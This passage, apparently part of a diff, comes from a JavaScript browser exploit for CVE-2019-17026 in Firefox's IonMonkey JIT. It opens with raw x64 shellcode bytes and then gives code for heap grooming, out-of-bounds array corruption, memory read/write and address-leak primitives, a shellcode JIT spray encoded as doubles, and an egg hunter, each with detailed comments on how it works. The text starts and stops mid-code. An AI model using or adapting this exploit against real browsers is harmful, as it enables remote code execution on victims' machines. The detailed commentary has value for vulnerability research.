0x48, 0xc7, 0xc1, 0x6e, 0x65, 0x74, 0x00, 0x51, 0x48, 0xb9, 0x65, 0x73, 0x74, 0x2d, 0x6f, 0x72, 0x72, 0x2e, 0x51, 0x48, 0xb9, 0x77, 0x77, 0x77, 0x2e, 0x66, 0x6f, 0x72, 0x72, 0x51, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc9, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, 0xec, 0x08, 0x40, 0x80, 0xe4, 0xf7, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x41, 0x50, 0x57, 0x56, 0x49, 0x89, 0xc8, 0x48, 0xc7, 0xc6, 0x60, 0x00, 0x00, 0x00, 0x65, 0x48, 0xad, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x78, 0x30, 0x48, 0x89, 0xfe, 0x48, 0x31, 0xc0, 0xeb, 0x05, 0x48, 0x39, 0xf7, 0x74, 0x34, 0x48, 0x85, 0xf6, 0x74, 0x2f, 0x48, 0x8d, 0x5e, 0x38, 0x48, 0x85, 0xdb, 0x74, 0x1a, 0x48, 0xc7, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0xa7, 0x01, 0x00, 0x00, 0x4c, 0x39, 0xc0, 0x74, 0x08, 0x48, 0x31, 0xc0, 0x48, 0x8b, 0x36, 0xeb, 0xcb, 0x48, 0x8b, 0x46, 0x10, 0x5e, 0x5f, 0x41, 0x58, 0xc3, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x57, 0x56, 0x48, 0x89, 0x4d, 0xf8, 0x48, 0x89, 0x55, 0xf0, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x3c, 0x48, 0x01, 0xd9, 0x48, 0x83, 0xc1, 0x18, 0x48, 0x8b, 0x75, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x59, 0x70, 0x48, 0x01, 0xde, 0x48, 0x89, 0x75, 0xe8, 0x8b, 0x41, 0x74, 0x89, 0x45, 0xc0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x20, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x48, 0x31, 0xdb, 0x8b, 0x5e, 0x24, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x5e, 0x1c, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x31, 0xf6, 0x48, 0x89, 0x75, 0xc8, 0x48, 0x8b, 0x45, 0xe8, 0x8b, 0x40, 0x18, 0x48, 0x39, 0xf0, 0x0f, 0x86, 0x09, 0x01, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xe0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x31, 0xd2, 0x48, 0x89, 0xc1, 0xe8, 0xf0, 0x00, 0x00, 0x00, 0x3b, 0x45, 0xf0, 0x0f, 0x85, 0xd3, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf0, 0x48, 0x8d, 0x14, 0x00, 0x48, 0x8b, 0x45, 0xd8, 0x48, 0x0f, 0xb7, 0x04, 0x02, 0x48, 0x8d, 0x0c, 0x85, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0xd0, 0x48, 0x8b, 0x45, 0xf8, 0x8b, 0x1c, 0x11, 0x48, 0x01, 0xd8, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x89, 0xca, 0x48, 0x31, 0xdb, 0x8b, 0x5d, 0xc0, 0x48, 0x01, 0xda, 0x48, 0x39, 0xc8, 0x0f, 0x8c, 0x99, 0x00, 0x00, 0x00, 0x48, 0x39, 0xd0, 0x0f, 0x8d, 0x90, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x45, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x90, 0x48, 0x8d, 0x9d, 0xb0, 0xfd, 0xff, 0xff, 0x8a, 0x14, 0x08, 0x80, 0xfa, 0x00, 0x74, 0x28, 0x80, 0xfa, 0x2e, 0x75, 0x19, 0xc7, 0x03, 0x2e, 0x64, 0x6c, 0x6c, 0x48, 0x83, 0xc3, 0x04, 0xc6, 0x03, 0x00, 0x48, 0x8d, 0x9d, 0xb0, 0xfe, 0xff, 0xff, 0x48, 0xff, 0xc1, 0xeb, 0xda, 0x88, 0x13, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc3, 0xeb, 0xd0, 0xc6, 0x03, 0x00, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfd, 0xff, 0xff, 0xe8, 0x46, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xe8, 0x4e, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2e, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x31, 0xd2, 0x48, 0x8d, 0x8d, 0xb0, 0xfe, 0xff, 0xff, 0xe8, 0x26, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc2, 0x48, 0x8b, 0x4d, 0xb8, 0xe8, 0x89, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0xeb, 0x09, 0x48, 0xff, 0xc6, 0x90, 0xe9, 0xe7, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x45, 0xc8, 0x5e, 0x5f, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x57, 0x48, 0x89, 0xd7, 0x48, 0x31, 0xdb, 0x80, 0x39, 0x00, 0x74, 0x1a, 0x0f, 0xb6, 0x01, 0x0c, 0x60, 0x0f, 0xb6, 0xd0, 0x01, 0xd3, 0x48, 0xd1, 0xe3, 0x48, 0xff, 0xc1, 0x48, 0x85, 0xff, 0x74, 0xe6, 0x48, 0xff, 0xc1, 0xeb, 0xe1, 0x48, 0x89, 0xd8, 0x5f, 0xc3 ]); +var JITIterations = 0x10000; // Number of iterations needed to trigger JIT compilation of code. The compilation count threshold varies and this is typically overkill (10+ or 1000+ is often sufficient) but is the most stable count I've tested. +var HelperBuf = new ArrayBuffer(8); +var HelperDbl = new Float64Array(HelperBuf); +var HelperDword = new Uint32Array(HelperBuf); + +//////// +//////// +// Debug/timer code +//////// + +var EnableDebug = false; +var EnableTimers = false; +var AlertOutput = false; +var TimeStart; +var ReadCount; + +function StartTimer() { + ReadCount = 0; + TimeStart = new Date().getTime(); +} + +function EndTimer(Message) { + var TotalTime = (new Date().getTime() - TimeStart); + + if(EnableTimers) { + if(AlertOutput) { + alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); + } + else { + console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); + } + } +} + +function DebugLog(Message) { + if(EnableDebug) { + if(AlertOutput) { + alert(Message); + } + else { + console.log(Message); // In IE, console only works if devtools is open. + } + } +} + +/*////// +//////// +// MIR Boundscheck elimination bug/OOB array logic +//////// + +This is the primary logic exploiting the vulnerability itself. Fundamentally +CVE-2019-17026 is an aliasing bug in the IonMonkey JIT engine: an overly +strict aliasing type criteria can cause a potentially dangerous node such as +MStoreElementHole to be discarded as a STORE dependency for a sensitive LOAD +node such as MBoundsCheck. Thus in the event that a similar MBoundsCheck has +already been declared within a JIT'd function, we can trick IonMonkey into +believing these instructions to be congruent which will result in the +elimination of the second MBoundsCheck by the GVN due to congruence rules: +- LOAD instructions may be tied to their most recent STORE instruction as + dependencies during the aliasing phase of JIT compilation. +- After the aliasing phase comes the GVN phase, which eliminates redundant + nodes via congruence rules for optimization purposes. +- In order for two matching nodes (such as two boundschecks) to be considered + for redundancy elimination via congruence rules they must have matching + STORE dependencies. +- In a secure engine (such as FF 72+) the MStoreElementHole node will ALWAYS + be aliased to its following LOAD instruction regardless of whether operand + types are perfectly matching. This will result in a boundscheck following + an MStoreElementHole ALWAYS considering it to be a dependency and thus + never resulting in boundscheck elimination. +- In an insecure engine (such as being exploited here) the MStoreElementHole + node will only be aliased to a following MBoundsCheck node if the two meet + operand type criteria. +- MStoreElementHole can be manipulated into acting upon a different operand + type through use of a global sparse array. This will cause MBoundsCheck + (which is acting upon a constant array object) to have a different operand + type and thus thwart aliasing by IonMonkey. +- MStoreElementHole can also be used to trigger side-effects, such as setting + the length field of an array to 0 and heap grooming to prepare for an OOB + access to this array. +- As a result we may modify the .length field of an array prior to accessing + it at an arbitrary index despite the boundscheck no longer existing. + +The following code demonstrates the bug: + +BugArray1[Index] = 4.2; +SideEffectArray[SideEffectIndex] = 2.2; +BugArray1[Index] = DblVal; + +IonMonkey will produce nodes corresponding to these instructions: + +MBoundsCheck +MStoreElement + +MBoundsCheck +MStoreElementHole <- This node may trigger side-effects + +MBoundsCheck <- This node will be eliminated by the optimizer +MStoreElement <- This node will be used for the OOB array R/W + +Due to BugArray1[Index] having already been declared (and the boundscheck +executed) IonMonkey will eliminate the third boundscheck node. This allows us +to use the side-effect triggered by MStoreElementHole to set the modify the +BugArray11.length field and perform heap grooming prior to the final BugArray1 +access. + +The anatomy of an Array involves two data structures: a NativeObject which holds +the primary pointers relating to the Array element data, property types, etc. + +struct NativeObject { + void *GroupPtr; + void *ShapePtr; + void *SlotsPtr; + void *ElementsPtr; // This does NOT point to the element metadata, it points OVER it to the actual element data itself. +} + +Followed by an element metadata struct which holds data pertaining to the length, +capacity and initialization size of the elements data itself: + +struct ElementsMetadata { + uint32_t Flags; + uint32_t InitializedLength; // The number of elements actually initialized (will be 0 when Array first declared). If you do Array(50) then set index 20 to something, the length will become 20 (and 0-19 will be allocated but marked uninitialized). + uint32_t Capacity; // Storage allocated for the array + uint32_t Length; // The literal .length property. Thus Array(50) even though it has an initialized length and capavity of 0 would have a length of 50. + // ... +} + +Followed finally by the actual element data of the array, which is pointed to +by the NativeObject.ElementsPtr. + +The bug is converted into exploit primitives R/W/AddressOf by setting up 3 +arrays in memory prior to executing the JIT bug: + +BugArray1 = new Array(0x20); +BugArray2 = new Array(0x20); +MutableArray = new Array(0x20); + +This will eventually result in the following memory layout in the nursery heap: + +[BugArray1.NativeObject][BugArray1.ElementsMetadata][Element data][BugArray2.NativeObject][BugArray2.ElementsMetadata][Element data][MutableArray.NativeObject][MutableArray.ElementsMetadata][Element data] + +Thus the OOB array access (via the JIT bug) will be used on BugArray1 to overwrite +BugArray2.ElementsMetadata. Subsequently, BugArray2 may be used to make OOB R/W +at will (without the need to repeat the JIT bug) and overwrite the +MutableArray.NativeObject in order to build the primitives for the remainer of +the exploit. + +Prior to doing this, it is essential to do some heap grooming to prepare for the +OOB array access from BugArray1 to corrupt BugArray2.ElementsMetadata. Re-visiting +the vulnerable JS code: + +BugArray1[Index] = 4.2; +SideEffectArray[SideEffectIndex] = 2.2; +BugArray1[Index] = DblVal; + +Access to the SideEffectArray may be used to trigger some arbitrary code of our +choice prior to the second (vulnerable/no boundscheck) BugArray1 access. This +is used to set the .length field of the BugArray1, BugArray2 and MutableArray +arrays to zero and trigger the garbage collector. After doing so, these three +arrays will appear on the nursery heap as follows: + +000000000B5BF100 000000000B5A5A60 <- BugArray1.NativeObject +000000000B5BF108 000000000B5C21C8 +000000000B5BF110 0000000000000000 +000000000B5BF118 000000000B5BF130 <- BugArray1.NativeObject.ElementsPtr +000000000B5BF120 0000000000000000 <- BugArray1.ElementsMetadata +000000000B5BF128 0000000000000006 +000000000B5BF130 FFFA800000000000 <- BugArray1 raw element data +000000000B5BF138 FFFA800000000000 +000000000B5BF140 FFFA800000000000 +000000000B5BF148 FFFA800000000000 +000000000B5BF150 FFFA800000000000 +000000000B5BF158 FFFA800000000000 +000000000B5BF160 000000000B5A5A90 <- BugArray2.NativeObject +000000000B5BF168 000000000B5C21C8 +000000000B5BF170 0000000000000000 +000000000B5BF178 000000000B5BF190 +000000000B5BF180 0000007E00000000 <- Overwritten BugArray2.ElementsMetadata (note QWORD index 10 from the start of BugArray1.NativeObject.ElementsPtr) +000000000B5BF188 0000007E0000007E +000000000B5BF190 0000000000000000 <- BugArray2 raw element data +000000000B5BF198 0000000000000000 +000000000B5BF1A0 0000000000000000 +000000000B5BF1A8 0000000000000000 +000000000B5BF1B0 0000000000000000 +000000000B5BF1B8 0000000000000000 +000000000B5BF1C0 000000000B5A5AC0 <- MutableArray.NativeObject +000000000B5BF1C8 000000000B5C21C8 +000000000B5BF1D0 0000000000000000 +000000000B5BF1D8 000000000B5BF1F0 +000000000B5BF1E0 0000000000000000 <- MutableArray.ElementsMetadata +000000000B5BF1E8 0000000000000006 +000000000B5BF1F0 0000000000000000 <- MutableArray raw element data +000000000B5BF1F8 0000000000000000 +000000000B5BF200 0000000000000000 + +This layout is then used in conjunction with the JIT bug to begin the array +corruption. +*/ + +// Note that these arrays cannot be declared as vars +SideEffectArray = [1.1, 1.2, , 1.4]; // MStoreElementHole access to a global sparse array is the unique edge case causes aliasing with MBoundsCheck to fail due to operand type mismatch +BugArray1 = new Array(0x20); // This array will be used (after heap grooming) to make the OOB overwrite of BugArray2.ElementsMetadata. The heap grooming requires the .length be set to 0, but the length will not matter due to boundscheck elimination (the capacity however still will). +BugArray2 = new Array(0x20); // This array will be used to read and set pointers reliably and repeatably in MutableArray +MutableArray = new Array(0x20); // The NativeObject of this array are corrupted to build the exploit primitives + +SideEffectArray.__defineSetter__("-1", function(x) { // Side effects called for OOB SideEffectArray access at index -1 + // Key to understand here is that setting these lengths to 0 and having GC manipulate them into pointing at each other could be done without the boundscheck elimination bug. The boundscheck elimination bug however is what allows them to actually access each other, as it is necessary to set .length to 0 to do the GC trick and the boundschecks are based on .length. Note that access to all of these arrays will still be limited by their capacity metadata field despite elimination of their .length boundscheck. + BugArray1.length = 0; + BugArray2.length = 0; + MutableArray.length = 0; + GC(); +}); + +function GC() { // Call the GC - Phoenhex function + BufSize = (128 * 1024 * 1024); // 128MB + + for(var i = 0; i < 3; i++) { + var x = new ArrayBuffer(BufSize); // Allocate locally, but don't save + } +} + +function BuggedJITFunc(SideEffectIndex, Index, DblVal) { + // Removes future bounds checks with GVN + + BugArray1[Index] = 4.2; + BugArray1[Index - 1] = 4.2; + + // Triggers the side-effect function when a -1 index provided + + SideEffectArray[SideEffectIndex] = 2.2; + + // Write OOB and corrupt BugArray2.ElementsMetadata. Normally boundscheck would prevent this based on .length. Note that despite the bugged elimination of this check, access is still limited to the BugArray1.ElementsMetadata capacity metadata field. + + BugArray1[Index] = DblVal; // Corrupt the BugArray2.ElementsMetadata capacity and length element metadata - 0x7e 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 + BugArray1[Index - 1] = 2.673714696616e-312; // Corrupt the BugArray2.ElementsMetadata flags and initialized length element metadata - 0x00 0x00 0x00 0x00 0x7e 0x00 0x00 0x00 +} + +for(var i = 0; i < JITIterations; i++) { + SideEffectArray.length = 4; // Reset the length so that StoreElementHole node is used + BuggedJITFunc(5, 11, 2.67371469724e-312); +} + +// Call the JIT'd bugged function one more time, this time with an OOB write index of -1. There is substantial significance to using -1 as opposed to some other (larger) index which would still go OOB and trigger a side effect. The reason being that -1 is considered an "invalid index" (not just an OOB index) and is treated differently. OOB writes to the SideEffectArray with valid albeit indexes which will fail the boundscheck restrictions and will not trigger useful side effects. The reason for this being that access to valid indexes will cause the creation of a MSetPropertyCache node in the MIR, a node which is not susceptible to the exploit condition. The MIR instruction chosen to handle the SideEffectArray OOB MUST be MStoreElementHole, and MStoreElementHole will only be selected in the event of an INVALID index access, not simply an OOB one. + +SideEffectArray.length = 4; // Reset the length one more time +BuggedJITFunc(-1, 11, 2.67371469724e-312); + +// Initialize mutable array properties for R/W/AddressOf primitives. Use these specific values so that it can later be verified whether slots pointer modifications have been successful. + +MutableArray.x = 5.40900888e-315; // Most significant bits are 0 - no tag, allows an offset of 4 to be treated as a double +MutableArray.y = 0x41414141; +MutableArray.z = 0; // Least significant bits are 0 - offset of 4 means that y will be treated as a double + +/*////// +//////// +// Arbitrary read/write/address-of primitives +//////// + +~ Weak arbitrary read + +8 bytes of data can be leaked from the address pointed to by the mutable array +NativeObject.SlotsPtr, as this address is interpreted as holding the value of +'x' (stored as a double). The drawback is that if the 8 bytes cannot be +interpreted as a valid double, they may be interpreted as a pointer and +dereferenced. In this sense, some values may not be be readable with this +primitive. + +~ Weak arbitrary write + +In the same way that the 'x' property pointed at by the slots pointer can be +used to read doubles it can also be used to write doubles. The only drawback +being that the value being written must be a valid double. + +~ Weak AddressOf + +The mutable array slots pointer (in its native object struct) is going to be +pointing at an array of 3 property values (for x, y and z). Since we are +trying to leak the object address (which will be written into the property +array slots for x, y or z) as a double, this will cause issues as the JS engine +will (correctly) attempt to dereference this address rather than interpret it +as a double. + +Thus the trick is to set the slots pointer in the mutable array native object +ahead by 4 bytes. This the result that the object address (previously only in +the "y" slot) can now be partially read (32-bits at a time) from both "x" and +"y" and that these values are now certain to be valid doubles. + +We can ensure the resulting double is valid by using bitwise AND to filter off +the significant bits responsible for differentiating between a valid and +non-valid double. + +~ Strong arbitrary read + +This primitive solves the issue of attempting to read 8 bytes in memory which +may be invalid doubles and thus misinterpreted as pointers (for example if the +tagged pointer bits are set). + +The solution is to simply create a double float array, and then overwrite its +data pointer to point to the precise region we want to read. The key concept +here is that it reduces the ambiguity on the part of the JS engine. Since the +JS engine knows that the value at this address is explicitly a double float, +it will not attempt to potentially interprete it as an object pointer even if +those tagged bits are set. +*/ + +function WeakLeakDbl(TargetAddress) { + SavedSlotsPtr = BugArray2[8]; + BugArray2[8] = TargetAddress; + LeakedDbl = MutableArray.x; + BugArray2[8] = SavedSlotsPtr; + return LeakedDbl; +} + +function WeakWriteDbl(TargetAddress, Val) { + SavedSlotsPtr = BugArray2[8]; + BugArray2[8] = TargetAddress; + MutableArray.x = Val; + BugArray2[8] = SavedSlotsPtr; +} + +function WeakLeakObjectAddress(Obj) { + SavedSlotsPtr = BugArray2[8]; + + // x y z + // MutableArray.NativeObj.SlotsPtr -> [0x????????????????] | [Target object address] | [0x????????????????] + MutableArray.y = Obj; + + // x y z + // MutableArray.NativeObj.SlotsPtr -> [0x????????Target o] | [bject adress????????] | [0x????????????????] + + HelperDbl[0] = BugArray2[8]; + HelperDword[0] = HelperDword[0] + 4; + BugArray2[8] = HelperDbl[0]; + + // Patch together a double of the target object address from the two 32-bit property values + + HelperDbl[0] = MutableArray.x; + LeakedLow = HelperDword[1]; + HelperDbl[0] = MutableArray.y; // Works in release, not in debug (assertion issues) + LeakedHigh = HelperDword[0] & 0x00007fff; // Filter off tagged pointer bits + BugArray2[8] = SavedSlotsPtr; + HelperDword[0] = LeakedLow; + HelperDword[1] = LeakedHigh; + + return HelperDbl[0]; +} + +ExplicitDblArray = new Float64Array(1); // Used for the strong read +ExplicitDblArrayDataPtr = null; // Save the pointer to the data pointer so we don't have to recalculate it each read + +function ExplicitLeakDbl(TargetAddress) { + WeakWriteDbl(ExplicitDblArrayDataPtr, TargetAddress); + return ExplicitDblArray[0]; +} + +/*////// +//////// +// JIT spray/egghunter shellcode logic +//////// + +JIT spray in modern Firefox 64-bit on Windows seems to behave very differently +when a special threshold of 100 double float constants are planted into a single +function and JIT sprayed. When more than 100 are implanted, the JIT code pointer +for the JIT sprayed function will look as follows: + +00000087EB6F5280 | E9 23000000 | jmp 87EB6F52A8 <- JIT code pointer for JIT sprayed function points here +00000087EB6F5285 | 48:B9 00D0F2F8F1000000 | mov rcx,F1F8F2D000 +00000087EB6F528F | 48:8B89 60010000 | mov rcx,qword ptr ds:[rcx+160] +00000087EB6F5296 | 48:89A1 D0000000 | mov qword ptr ds:[rcx+D0],rsp +00000087EB6F529D | 48:C781 D8000000 0000000 | mov qword ptr ds:[rcx+D8],0 +00000087EB6F52A8 | 55 | push rbp +00000087EB6F52A9 | 48:8BEC | mov rbp,rsp +00000087EB6F52AC | 48:83EC 48 | sub rsp,48 +00000087EB6F52B0 | C745 E8 00000000 | mov dword ptr ss:[rbp-18],0 +... +00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 <- Note the first double float being loaded into RBX +00000087EB6F5341 | 53 | push rbx +00000087EB6F5342 | 49:BB D810EAFCF1000000 | mov r11,F1FCEA10D8 +00000087EB6F534C | 49:8B3B | mov rdi,qword ptr ds:[r11] +00000087EB6F534F | FF17 | call qword ptr ds:[rdi] +00000087EB6F5351 | 48:83C4 08 | add rsp,8 +00000087EB6F5355 | 48:B9 40807975083D0000 | mov rcx,3D0875798040 +00000087EB6F535F | 49:BB E810EAFCF1000000 | mov r11,F1FCEA10E8 +00000087EB6F5369 | 49:8B3B | mov rdi,qword ptr ds:[r11] +00000087EB6F536C | FF17 | call qword ptr ds:[rdi] +00000087EB6F536E | 48:BB 9090554889E54883 | mov rbx,8348E58948559090 +00000087EB6F5378 | 53 | push rbx +00000087EB6F5379 | 49:BB F810EAFCF1000000 | mov r11,F1FCEA10F8 +00000087EB6F5383 | 49:8B3B | mov rdi,qword ptr ds:[r11] +00000087EB6F5386 | FF17 | call qword ptr ds:[rdi] +00000087EB6F5388 | 48:83C4 08 | add rsp,8 +00000087EB6F538C | 48:B9 40807975083D0000 | mov rcx,3D0875798040 +00000087EB6F5396 | 49:BB 0811EAFCF1000000 | mov r11,F1FCEA1108 +00000087EB6F53A0 | 49:8B3B | mov rdi,qword ptr ds:[r11] +00000087EB6F53A3 | FF17 | call qword ptr ds:[rdi] +... + +Rather than implanting the double float constants into the JIT'd code region as +an array of raw constant data, the JIT engine has created a (very large) quantity +of code which manually handles each individual double float one by one (this code +goes on much further than I have pasted here). You can see this at: + +00000087EB6F5337 | 48:BB 4141414100000000 | mov rbx,41414141 + +This is the first double float 5.40900888e-315 (the stage one shellcode egg) +being loaded into RBX, where each subsequent double is treated the same. + +In contrast, any JIT sprayed function with less than 100 double floats yields +a substantially different region of code at its JIT code pointer: + +000002C6944D4470 | 48:8B4424 20 | mov rax,qword ptr ss:[rsp+20] <- JIT code pointer for JIT sprayed function points here +000002C6944D4475 | 48:C1E8 2F | shr rax,2F +000002C6944D4479 | 3D F3FF0100 | cmp eax,1FFF3 +000002C6944D447E | 0F85 A4060000 | jne 2C6944D4B28 +... +000002C6944D4ACB | F2:0F1180 C00A0000 | movsd qword ptr ds:[rax+AC0],xmm0 +000002C6944D4AD3 | F2:0F1005 6D030000 | movsd xmm0,qword ptr ds:[2C6944D4E48] +000002C6944D4ADB | F2:0F1180 C80A0000 | movsd qword ptr ds:[rax+AC8],xmm0 +000002C6944D4AE3 | F2:0F1005 65030000 | movsd xmm0,qword ptr ds:[2C6944D4E50] +000002C6944D4AEB | F2:0F1180 D00A0000 | movsd qword ptr ds:[rax+AD0],xmm0 +000002C6944D4AF3 | F2:0F1005 5D030000 | movsd xmm0,qword ptr ds:[2C6944D4E58] +000002C6944D4AFB | F2:0F1180 D80A0000 | movsd qword ptr ds:[rax+AD8],xmm0 +000002C6944D4B03 | 48:B9 000000000080F9FF | mov rcx,FFF9800000000000 +000002C6944D4B0D | C3 | ret +000002C6944D4B0E | 90 | nop +000002C6944D4B0F | 90 | nop +000002C6944D4B10 | 90 | nop +000002C6944D4B11 | 90 | nop +000002C6944D4B12 | 90 | nop +000002C6944D4B13 | 90 | nop +000002C6944D4B14 | 90 | nop +000002C6944D4B15 | 90 | nop +000002C6944D4B16 | 49:BB 30B14E5825000000 | mov r11,25584EB130 +000002C6944D4B20 | 41:53 | push r11 +000002C6944D4B22 | E8 C9C6FBFF | call 2C6944911F0 +000002C6944D4B27 | CC | int3 +000002C6944D4B28 | 6A 00 | push 0 +000002C6944D4B2A | E9 11000000 | jmp 2C6944D4B40 +000002C6944D4B2F | 50 | push rax +000002C6944D4B30 | 68 20080000 | push 820 +000002C6944D4B35 | E8 5603FCFF | call 2C694494E90 +000002C6944D4B3A | 58 | pop rax +000002C6944D4B3B | E9 85F9FFFF | jmp 2C6944D44C5 +000002C6944D4B40 | 6A 00 | push 0 +000002C6944D4B42 | E9 D9C5FBFF | jmp 2C694491120 +000002C6944D4B47 | F4 | hlt +000002C6944D4B48 | 41414141:0000 | add byte ptr ds:[r8],al <- JIT sprayed egg double +000002C6944D4B4E | 0000 | add byte ptr ds:[rax],al +000002C6944D4B50 | 90 | nop <- JIT sprayed shellcode begins here +000002C6944D4B51 | 90 | nop +000002C6944D4B52 | 55 | push rbp +000002C6944D4B53 | 48:89E5 | mov rbp,rsp +000002C6944D4B56 | 48:83EC 40 | sub rsp,40 +000002C6944D4B5A | 48:83EC 08 | sub rsp,8 +000002C6944D4B5E | 40:80E4 F7 | and spl,F7 +000002C6944D4B62 | 48:B8 1122334455667788 | mov rax,8877665544332211 +000002C6944D4B6C | 48:8945 C8 | mov qword ptr ss:[rbp-38],rax +000002C6944D4B70 | 48:C7C1 884E0D00 | mov rcx,D4E88 +000002C6944D4B77 | E8 F9000000 | call 2C6944D4C75 + +This then introduces another constaint on JIT spraying beyoond forcing your +assembly bytecode to be 100% valid double floats. You are also limited to a +maximum of 100 doubles (800 bytes) including your egg prefix. +*/ + +function JITSprayFunc(){ + Egg = 5.40900888e-315; // AAAA\x00\x00\x00\x00 + X1 = 58394.27801956298; + X2 = -3.384548150597339e+269; + X3 = -9.154525457562153e+192; + X4 = 4.1005939302288804e+42; + X5 = -5.954550387086224e-264; + X6 = -6.202600667005017e-264; + X7 = 3.739444822644755e+67; + X8 = -1.2650161464211396e+258; + X9 = -2.6951286493033994e+35; + X10 = 1.3116505146398627e+104; + X11 = -1.311379727091241e+181; + X12 = 1.1053351980286266e-265; + X13 = 7.66487078033362e+42; + X14 = 1.6679557218696946e-235; + X15 = 1.1327634929857868e+27; + X16 = 6.514949632148056e-152; + X17 = 3.75559130646382e+255; + X18 = 8.6919639111614e-311; + X19 = -1.0771492276655187e-142; + X20 = 1.0596460749348558e+39; + X21 = 4.4990090566228275e-228; + X22 = 2.6641556100123696e+41; + X23 = -3.695293685173417e+49; + X24 = 7.675324624976707e-297; + X25 = 5.738262935249441e+40; + X26 = 4.460149175031513e+43; + X27 = 8.958658002980807e-287; + X28 = -1.312880373645135e+35; + X29 = 4.864674571015197e+42; + X30 = -2.500435320470142e+35; + X31 = -2.800945285957394e+277; + X32 = 1.44103957698964e+28; + X33 = 3.8566513062216665e+65; + X34 = 1.37405680231e-312; + X35 = 1.6258034990195507e-191; + X36 = 1.5008582713363865e+43; + X37 = 3.1154847750709123; + X38 = -6.809578792021008e+214; + X39 = -7.696699288147737e+115; + X40 = 3.909631192677548e+112; + X41 = 1.5636948002514616e+158; + X42 = -2.6295656969507476e-254; + X43 = -6.001472476578534e-264; + X44 = 9.25337251529007e-33; + X45 = 4.419915842157561e-80; + X46 = 8.07076629722016e+254; + X47 = 3.736523284e-314; + X48 = 3.742120352320771e+254; + X49 = 1.0785207713761078e-32; + X50 = -2.6374368557341455e-254; + X51 = 1.2702053652464168e+145; + X52 = -1.3113796337500435e+181; + X53 = 1.2024564583763433e+111; + X54 = 1.1326406542153807e+104; + X55 = 9.646933740426927e+39; + X56 = -2.5677414592270957e-254; + X57 = 1.5864445474697441e+233; + X58 = -2.6689139052065564e-251; + X59 = 1.0555057376604044e+27; + X60 = 8.364524068863995e+42; + X61 = 3.382975178824556e+43; + X62 = -8.511722322449098e+115; + X63 = -2.2763239573787572e+271; + X64 = -6.163839243926498e-264; + X65 = 1.5186209005088964e+258; + X66 = 7.253360348539147e-192; + X67 = -1.2560830051206045e+234; + X68 = 1.102849544e-314; + X69 = -2.276324008154652e+271; + X70 = 2.8122150524016884e-71; + X71 = 5.53602304257365e-310; + X72 = -6.028598990540894e-264; + X73 = 1.0553922879130128e+27; + X74 = -1.098771600725952e-244; + X75 = -2.5574368247075522e-254; + X76 = 3.618778572061404e-171; + X77 = -1.4656824334476123e+40; + X78 = 4.6232700581905664e+42; + X79 = -3.6562604268727894e+125; + X80 = -2.927408487880894e+78; + X81 = 1.087942540606703e-309; + X82 = 6.440226123500225e+264; + X83 = 3.879424446462186e+148; + X84 = 3.234472631797124e+40; + X85 = 1.4186706350383543e-307; + X86 = 1.2617245769382784e-234; + X87 = 1.3810793979336581e+43; + X88 = 1.565026152201332e+43; + X89 = 5.1402745833993635e+153; + X90 = 9.63e-322; +} + +function EggHunter(TargetAddressDbl) { + HelperDbl[0] = TargetAddressDbl; + + for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them. + DblVal = ExplicitLeakDbl(HelperDbl[0]); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads. + + if(DblVal == 5.40900888e-315) { + HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode + return HelperDbl[0]; + } + + HelperDword[0] = HelperDword[0] + 8; + } + + return 0.0; +} + + +//////// +//////// +// Primary high level exploit logic +//////// + +function Exploit() { + for(var i = 0; i < JITIterations; i++) { + JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory + } + + HelperDbl[0] = WeakLeakObjectAddress(JITSprayFunc); // The JSFunction object address associated with the (now JIT compiled) shellcode data. + HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct. + 